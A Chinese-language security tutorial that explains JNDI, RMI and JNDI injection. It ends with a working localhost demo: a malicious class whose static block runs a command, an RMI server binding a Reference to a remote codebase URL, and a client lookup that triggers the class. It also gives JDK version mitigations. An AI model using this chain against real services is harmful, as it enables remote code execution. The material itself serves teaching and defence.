老公,JNDI注入是什麼呀?

2021-03-02 一個安全研究員
0x01 前言

我們在上一章《攻擊rmi的方式》中提到了rmi的一大特性——動態類加載。而jndi注入就是利用的動態類加載完成攻擊的。在談jndi注入之前,我們先來看看關於jndi的基礎知識

0x02 jndi是個啥

jndi的全稱為Java Naming and Directory Interface(java命名和目錄接口)SUN公司提供的一種標準的Java命名系統接口,JNDI提供統一的客戶端API,通過不同的服務供應接口(SPI)的實現,由管理者將JNDI API映射為特定的命名服務和目錄系統,使得Java應用程式可以和這些命名服務和目錄服務之間進行交互、如圖

上面提到了命名服務與目錄服務,他們又是什麼呢?

命名服務

命名服務是一種簡單的鍵值對綁定,可以通過鍵名檢索值,RMI就是典型的命名服務

目錄服務

目錄服務是命名服務的拓展。它與命名服務的區別在於它可以通過對象屬性來檢索對象,這麼說可能不太好理解,我們舉個例子:比如你要在某個學校裡裡找某個人,那麼會通過:年級->班級->姓名這種方式來查找,年級、班級、姓名這些就是某個人的屬性,這種層級關係就很像目錄關係,所以這種存儲對象的方式就叫目錄服務。LDAP是典型的目錄服務,這個我們暫且還沒接觸到,後文會提及

其實,仔細一琢磨就會感覺其實命名服務與目錄服務的本質是一樣的,都是通過鍵來查找對象,只不過目錄服務的鍵要靈活且複雜一點。

在一開始很多人都會被jndi、rmi這些詞彙搞的暈頭轉向,而且很多文章中提到了可以用jndi調用rmi,就更容易讓人發昏了。我們只要知道jndi是對各種訪問目錄服務的邏輯進行了再封裝,也就是以前我們訪問rmi與ldap要寫的代碼差別很大,但是有了jndi這一層,我們就可以用jndi的方式來輕鬆訪問rmi或者ldap服務,這樣訪問不同的服務的代碼實現基本是一樣的。一圖勝千言:

從圖中可以看到jndi在訪問rmi時只是傳了一個鍵foo過去,然後rmi服務端返回了一個對象,訪問ldap這種目錄服務室,傳過去的字符串比較複雜,包含了多個鍵值對,這些鍵值對就是對象的屬性,LDAP將根據這些屬性來判斷到底返回哪個對象.

0x03 jndi 代碼實現

在JNDI中提供了綁定和查找的方法:

bind:將名稱綁定到對象中;

lookup:通過名字檢索執行的對象;

下面的demo將演示如何用jndi訪問rmi服務:

先實現一個接口

import java.rmi.Remote;

import java.rmi.RemoteException;

public interface IHello extends Remote {

public String sayHello(String name) throws RemoteException;

}

然後創建一個類實現上面的接口,這個類的實例一會將要被綁定到rmi註冊表中

import java.rmi.RemoteException;

import java.rmi.server.UnicastRemoteObject;

public class IHelloImpl extends UnicastRemoteObject implements IHello {

protected IHelloImpl() throws RemoteException {

super();

}

@Override

public String sayHello(String name) throws RemoteException {

return "Hello " + name;

}

}

上面的都是簡單的創建一個遠程對象,和之前rmi創建遠程對象的要求是一樣的,下面我們創建一個類實現對象的綁定,以及遠程對象的調用

import javax.naming.Context;

import javax.naming.InitialContext;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

import java.util.Properties;

public class CallService {

public static void main(String[] args) throws Exception{

//配置JNDI工廠和JNDI的url和埠。如果沒有配置這些信息,會出現NoInitialContextException異常

Properties env = new Properties();

env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

// 創建初始化環境

Context ctx = new InitialContext(env);

// 創建一個rmi映射表

Registry registry = LocateRegistry.createRegistry(1099);

// 創建一個對象

IHello hello = new IHelloImpl();

// 將對象綁定到rmi註冊表

registry.bind("hello", hello);

// jndi的方式獲取遠程對象

IHello rhello = (IHello) ctx.lookup("rmi://localhost:1099/hello");

// 調用遠程對象的方法

System.out.println(rhello.sayHello("axin"));

}

}

成功調用遠程對象的sayHello方法

由於上面的代碼將服務端與客戶端寫到了一起,所以看著不那麼清晰,我看到很多文章裡吧JNDI工廠初始化這一步操作劃分到了服務端,我覺得是錯誤的,配置jndi工廠與jndi的url和埠應該是客戶端的事情。

ps:可以對比一下前幾章的rmi demo與這裡的jndi demo訪問遠程對象的區別,加深理解

0x04 JNDI動態協議轉換

我們上面的demo提前配置了jndi的初始化環境,還配置了Context.PROVIDER_URL,這個屬性指定了到哪裡加載本地沒有的類,所以,上面的demo中 ctk.lookup("rmi://localhost:1099/hello")這一處代碼改為 ctk.lookup("hello")也是沒啥問題的。

那麼動態協議轉換是個什麼意思呢?其實就是說即使提前配置了Context.PROVIDERURL屬性,當我們調用lookup()方法時,如果lookup方法的參數像demo中那樣是一個uri地址,那麼客戶端就會去lookup()方法參數指定的uri中加載遠程對象,而不是去Context.PROVIDERURL設置的地址去加載對象(如果感興趣可以跟一下源碼,可以看到具體的實現)。

正是因為有這個特性,才導致當lookup()方法的參數可控時,攻擊者可以通過提供一個惡意的url地址來控制受害者加載攻擊者指定的惡意類。

但是你以為直接讓受害者去攻擊者指定的rmi註冊表加載一個類回來就能完成攻擊嗎,是不行的,因為受害者本地沒有攻擊者提供的類的class文件,所以是調用不了方法的,所以我們需要藉助接下來要提到的東西

0x05 JNDI Naming Reference

Reference類表示對存在於命名/目錄系統以外的對象的引用。如果遠程獲取 RMI 服務上的對象為 Reference 類或者其子類,則在客戶端獲取到遠程對象存根實例時,可以從其他伺服器上加載 class 文件來進行實例化。

Java為了將Object對象存儲在Naming或Directory服務下,提供了Naming Reference功能,對象可以通過綁定Reference存儲在Naming或Directory服務下,比如RMI、LDAP等。

在使用Reference時,我們可以直接將對象傳入構造方法中,當被調用時,對象的方法就會被觸發,創建Reference實例時幾個比較關鍵的屬性:

當然,要把一個對象綁定到rmi註冊表中,這個對象需要繼承UnicastRemoteObject,但是Reference沒有繼承它,所以我們還需要封裝一下它,用 ReferenceWrapper 包裹一下Reference實例對象,這樣就可以將其綁定到rmi註冊表,並被遠程訪問到了,demo如下:

// 第一個參數是遠程加載時所使用的類名, 第二個參數是要加載的類的完整類名(這兩個參數可能有點讓人難以琢磨,往下看你就明白了),第三個參數就是遠程class文件存放的地址了

Reference refObj = new Reference("refClassName", "insClassName", "http://axin.com:6666/");

ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);

registry.bind("refObj", refObjWrapper);

當有客戶端通過lookup("refObj")獲取遠程對象時,獲取的是一個Reference存根(Stub),由於是Reference的存根,所以客戶端會現在本地的classpath中去檢查是否存在類refClassName,如果不存在則去指定的url(http://axin.com:6666/refClassName.class)動態加載,並且調用insClassName的無參構造函數,所以可以在構造函數裡寫惡意代碼。當然除了在無參構造函數中寫利用代碼,還可以利用java的static代碼塊來寫惡意代碼,因為static代碼塊的代碼在class文件被加載過後就會立即執行,且只執行一次。

了解更多關於static代碼塊,參考:https://www.cnblogs.com/panjun-donet/archive/2010/08/10/1796209.html

0x06 JNDI注入jndi注入原理

就是將惡意的Reference類綁定在RMI註冊表中,其中惡意引用指向遠程惡意的class文件,當用戶在JNDI客戶端的lookup()函數參數外部可控或Reference類構造方法的classFactoryLocation參數外部可控時,會使用戶的JNDI客戶端訪問RMI註冊表中綁定的惡意Reference類,從而加載遠程伺服器上的惡意class文件在客戶端本地執行,最終實現JNDI注入攻擊導致遠程代碼執行

jndi注入的利用條件

上面兩個都是在編寫程序時可能存在的脆弱點(任意一個滿足就行),除此之外,jdk版本在jndi注入中也起著至關重要的作用,而且不同的攻擊響亮對jdk的版本要求也不一致,這裡就全部列出來:

JDK 6u45、7u21之後:java.rmi.server.useCodebaseOnly的默認值被設置為true。當該值為true時,將禁用自動加載遠程類文件,僅從CLASSPATH和當前JVM的java.rmi.server.codebase指定路徑加載類文件。使用這個屬性來防止客戶端VM從其他Codebase地址上動態加載類,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之後:增加了com.sun.jndi.rmi.object.trustURLCodebase選項,默認為false,禁止RMI和CORBA協議使用遠程codebase的選項,因此RMI和CORBA在以上的JDK版本上已經無法觸發該漏洞,但依然可以通過指定URI為LDAP協議來進行JNDI注入攻擊。

JDK 6u211、7u201、8u191之後:增加了com.sun.jndi.ldap.object.trustURLCodebase選項,默認為false,禁止LDAP協議使用遠程codebase的選項,把LDAP協議的攻擊途徑也給禁了。

jndi注入 demo

import javax.lang.model.element.Name;

import javax.naming.Context;

import java.io.BufferedInputStream;

import java.io.BufferedReader;

import java.io.IOException;

import java.io.InputStreamReader;

import java.util.HashMap;

public class EvilObj {

public static void exec(String cmd) throws IOException {

String sb = "";

BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());

BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));

String lineStr;

while((lineStr = inBr.readLine()) != null){

sb += lineStr+"\n";

}

inBr.close();

inBr.close();

}

public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{

return null;

}

static {

try{

exec("gnome-calculator");

}catch (Exception e){

e.printStackTrace();

}

}

}

可以看到這裡利用的是static代碼塊執行命令

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;

import javax.naming.Reference;

import java.rmi.AlreadyBoundException;

import java.rmi.RemoteException;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

public class Server {

public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {

Registry registry = LocateRegistry.createRegistry(1099);

String url = "http://127.0.0.1:6666/";

System.out.println("Create RMI registry on port 1099");

Reference reference = new Reference("EvilObj", "EvilObj", url);

ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

registry.bind("evil", referenceWrapper);

}

}

import javax.naming.Context;

import javax.naming.InitialContext;

import javax.naming.NamingException;

public class Client {

public static void main(String[] args) throws NamingException {

Context context = new InitialContext();

context.lookup("rmi://localhost:1099/evil");

}

}

可以看到這裡的lookup方法的參數是指向我設定的惡意rmi地址的。

然後先編譯該項目,生成class文件,然後在class文件目錄下用python啟動一個簡單的HTTP Server:

python-mSimpleHTTPServer6666

執行上述命令就會在6666埠、當前目錄下運行一個HTTP Server:

然後運行Server端,啟動rmi registry服務

最後運行客戶端(受害者):

成功彈出計算器。注意,我這裡用到的jdk版本為jdk1.7.0_80,下面是rmi動態調用的一個流程

0x07 其他

放一些參考文章:

https://wulidecade.cn/2019/03/25/%E6%B5%85%E8%B0%88JNDI%E6%B3%A8%E5%85%A5%E4%B8%8Ejava%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5/

https://xz.aliyun.com/t/6633#toc-5

https://paper.seebug.org/417/

https://security.tencent.com/index.php/blog/msg/131

下一章,我們來看一下fastjson的反序列化,其中就會利用到jndi這一攻擊手法

相關焦點

  • 俺也是才意識到,什麼妖呀鬼呀的都不如閨蜜嚇人……結果……誰能...
    老公出差半個月以來,因為我和閨女晚上害怕,就讓閨蜜過來陪我們。她倒挺樂意的,因為她是抱著她十三個月大的兒子來的,換尿布、兌奶粉、逗孩子玩成了我們娘倆的工作,她儼然已經成了這個家的主人,而我們娘倆倒像是給闊太太打工的僕人。今天早上老公可算是回來了,我都暗示明示了好幾次閨蜜,你的任務已經完成可以回去了。她倒好,不走了!
  • 老公老公你看看我今天美不美歌名叫什麼 花錢流水歌詞完整版
    最近,一首歌詞為老公老公你看看我今天美不美的魔性洗腦歌曲走紅網絡,那麼這首歌的歌名是什麼?下面為大家帶來的是老公老公你看看我今天美不美歌詞。老公老公你看看我今天美不美歌名是什麼  據悉,這首歌的歌名叫做《花錢流水》,由大慶小芳演唱。
  • 你以前花我老公的錢時我說什麼了啊?花你老公一次不行麼?
    我小時候時特別乖,很聽爸爸的話,他說什麼我就做什麼。直到有次,爸爸牙疼,讓我打他一下,我順手拿起玩具車就呼過去了!事實證明,大人都是騙子,我被打的老慘了我和老公陪老媽逛商場,老媽準備買一件外套,老媽看了下我老公說:「去那邊刷卡。」 老公屁顛屁顛地把卡刷了。我:「怎麼花我老公的錢呀?」
  • 老公老公你看看我今天美不美歌名是什麼 敗家娘們兒升級版花錢流水...
    老公老公你看看我今天美不美歌名是什麼 敗家娘們兒升級版花錢流水了解一下時間:2018-10-08 11:47   來源:今日頭條   責任編輯:沫朵 川北在線核心提示:原標題:老公老公你看看我今天美不美歌名是什麼 敗家娘們兒升級版花錢流水了解一下 老公老公你看看我今天美不美歌名是什麼 據悉,這首歌的歌名叫做《花錢流水》,由大慶小芳演唱
  • 《媽媽咪呀》「假小子」和老公竟是青梅竹馬,老夫少妻西藏定情
    本周五晚播出的貝因美《媽媽咪呀》中,每位媽媽都展示了自己的獨特魅力。 短髮酷媽展現獨特魅力 青梅竹馬老公賢惠無雙 短髮媽媽白雪瑩是一個讓人難分性別的「假小子」,自曝與老公一起牽手上街會吸引無數人異樣目光,參加兒子家長會時曾在衛生間被小朋友提醒
  • 每日D報(1月8日):老公你說句話呀!
    是什麼給予了我努力、刻苦、敬業、早起的動力與勇氣我「老公」他有著明星的面容,等等,那說了半天,我老公呢?樣貌什麼的當然是根據心動程度都能靈活調控的老公你說句話呀?今晚~打dodo嗎?
  • 老公出軌會有什麼表現?
    現在婚姻生活中,越來越多的女性會擔心老公出軌,擔心自己完全被蒙在鼓裡,什麼都不知道,那麼老公出軌之後會有怎樣的表現,我們又能怎樣發現老公是否出軌呢?通常來說,一個男人真的有了出軌的行為,都會出現這些細節,只要留意觀察是不難發現的。讓我們來看看小編整理的如何從細節中發現丈夫的外遇的內容吧。
  • 楊子姍這是遇到了什麼「神仙」老公?看得人心痒痒
    楊子姍這是遇到了什麼「神仙」老公?看得人心痒痒最近綜藝節目《做家務的男人》,因為一對小夫妻之間的相處迅速登上了熱搜榜。而這對小夫妻就是楊子珊與老公吳中天了。而在這檔綜藝節目開播前,許多人甚至都不知道楊子姍已經結婚了,所以在看到「山羊鬍」的老公出現之後,許多人都覺得這個男人看上去一副痞痞的模樣,但實際上是一個無微不至,極其暖心的男人。
  • 張碧晨老公是誰 張碧晨結婚了嗎和華漢什麼關係
    張碧晨老公是誰 張碧晨結婚了嗎和華漢什麼關係時間:2020-09-17 23:30   來源:今日頭條   責任編輯:毛青青 川北在線核心提示:原標題:張碧晨老公是誰 張碧晨結婚了嗎和華漢什麼關係 張碧晨老公是誰這個問題真是讓人不知所措啊,要知道,張碧晨都還沒結婚呢,怎麼會有老公呢?
  • 段子:老婆請我吃什麼呀?閉門羹,啪房門關上了
    作為一個大度的好老公,一個稱職的吃貨,我欣然同意。邊往門口走邊問:請我吃什麼呀?老公和老婆晚飯後去公園散步,老公不慎滑了一跤,他站起身後氣憤地罵道:「這該死的路燈,就不能再亮一點嗎?」老婆掩口而笑:「還記得我倆婚前到這裡約會的情形嗎?那時候你是怎麼講的?」老公納悶:「我說過什麼話嗎?」老婆說:「那時你曾埋怨,這裡的路燈怎麼亮得像白天似的?」我眼一直近視,老婆說我戴眼鏡不好看,所以一直沒配眼鏡。
  • 抖音老公天下第一是什麼歌? 抖音老公老公抱抱歌詞分享
    抖音老公天下第一是什麼歌? 抖音老公老公抱抱歌詞分享時間:2018-02-28 12:57   來源:皮皮網   責任編輯:沫朵 川北在線核心提示:原標題:抖音老公天下第一是什麼歌? 抖音老公老公抱抱歌詞分享 最近很多小夥伴都喜歡聽抖音李旭唱的這首老公天下第一,老夫的少女心啊,喜歡的小夥伴就跟小編一起來聽一下吧!
  • 抖音歐巴呀是什麼歌 歐巴呀歌詞音譯
    抖音歐巴呀是什麼歌?下面看詳細內容。抖音上有一首韓語歌很多,開頭是歐巴呀,抖音歐巴呀是什麼歌?這首歌是韓國超萌的歌曲哥哥呀,下面帶來抖音歐巴呀歌詞意思介紹。  抖音歐巴呀是什麼歌  韓國歌曲《哥哥呀》。最近抖音上一首韓語歌真的是萌化了不少人的心,妹子聽了覺得心動,男生們聽完更是心軟到不行。歌曲一開頭就是一句超軟萌的歐巴呀。
  • 比起《老婆呀,不要哭》,張梅溪或許希望的是「老公,不要哭」
    張梅溪沒有什麼猶豫的,賣掉了自己的首飾,離家去找到了黃永玉。兩人的婚禮雖然簡單,但是兩個相愛的人卻足夠溫馨。這一段婚姻,一廝守就是七十多年。而處在下方的黃永玉都是思念妻子,寫下了一首滿懷深情的長詩,叫做《老婆呀,不要哭》。「我們是洪荒時代,在太空互相尋找的星星,我們相愛已經十萬年。」
  • 老公出軌的蛛絲馬跡
    你這麼說,讓我們女生情何以堪,還能相信男生嗎?如果兩個人在一起註定會背叛,那還不如自己安靜的生活。公主希望和王子生活在一起,幹嘛非要摟著癩蛤蟆睡覺呢?」淼哥笑著說:「寧信蛤蟆三條腿,不信男人那張嘴,昨天大批男生罵林丹,我就呵呵一笑,自己沒資源,就在那裡充當道德衛士。有幾個男生,敢拍著胸脯說,有個大波、浪的女生躺在面前,自己的小弟弟不會像個燒火棍似的杵著。
  • 抖音嘿呀嚕呀嘿呀是什麼歌 英文歌曲名字與歌手介紹
    在抖音上最近有一個嘿呀嚕呀嘿呀的激情歌曲聽起來特別嗨,許多小夥伴不知道這是一首什麼歌曲,那麼具體這歌叫啥名呢?這裡小編將為大家帶來介紹,喜歡的小夥伴來看看抖音嘿呀嚕呀嘿呀是什麼歌?嘿呀嚕呀嘿呀是什麼歌  歌名:Aloha Heja He  歌手:Achim Reichel  這首歌的高潮部分是特別激情的,最近在抖音上的小夥伴聽到的很多應該都是跟世界盃相關的
  • 嫁給比我小13歲的老公,我是什麼體驗?
    大家好,我是修魄一句,今天讓我們分享一位粉絲的故事,嫁給比我小十三歲的老公,我依舊被他寵成小公主,這是粉絲對這段感情的總結。可以看得出她生活的真的很幸福。兩個人對話卻逗樂了傑克的爸爸,十幾歲的孩子在談失去了愛情,這是多麼可笑呀,他們不是應該把所有的心思都放在學習上嗎?現在的孩子真早戀呀。傑克爸爸在神遊的時候,傑克又說,我把愛情給你,姐姐不要哭。隨著電梯到達16樓,傑克跟著爸爸走出了電梯。5歲的傑克不知道什麼愛情,他以為是小汽車是他愛的小黃鴨,你失去了,我把我的給你。
  • 老公能吸嗎?
    老公能吸嗎?  漲奶:不少哺乳媽咪有過這樣的經歷,當乳汁開始分泌時或退奶後,乳房開始變熱、變重,出現疼痛,有時甚至像石頭一樣硬。乳房表面看起來光滑、充盈,連乳暈也變得堅挺而疼痛。在這種情況下,即使媽咪強忍著脹痛哺乳,寶貝也很難含到媽咪的乳頭。這就是「漲奶」。  每個人都會詢問這個問題:「生活的意義是什麼?」
  • 【名字背後】小米呀?No,是小米婭。
    哈哈,兒子表示很生氣呀~米婭,這個名字怎麼來的呢,孕早期因為孕吐反應我不怎麼吃得下東西,每天只能吃一些水果,喝一些清淡的小米粥,那會兒偏愛小米,吃零食也很喜歡吃小米糕(ps:孕婦吃粗糧還是要適量哦)。每天老公做飯時問我要喝什麼粥,我總是回答「小米呀。」久而久之,我覺得這個小米呀,挺好聽的,就去網上查了查相關的漢字。
  • 今天開始改造老公!看老公做的中飯,絕對不一般!
    美美家的老公,其實跟最近網上流行的老公一模一樣,每次去超市買個菜,絕對中途要給我打電話的,「沒有草魚了,鯉魚行不行呀?」「玉米粉是什麼樣子的呀?在超市哪個區域呀?」......其實說起來,美美也是太追求完美了,剛結婚的時候,老公也是喜歡下廚的,但是每次他做完飯的廚房,簡直就是災難現場!於是就不讓他下廚了,這一來二去人家就徹底不進廚房啦,今天的這三個菜,雖然都是簡單的家常菜,但感覺還是有點功底的呢。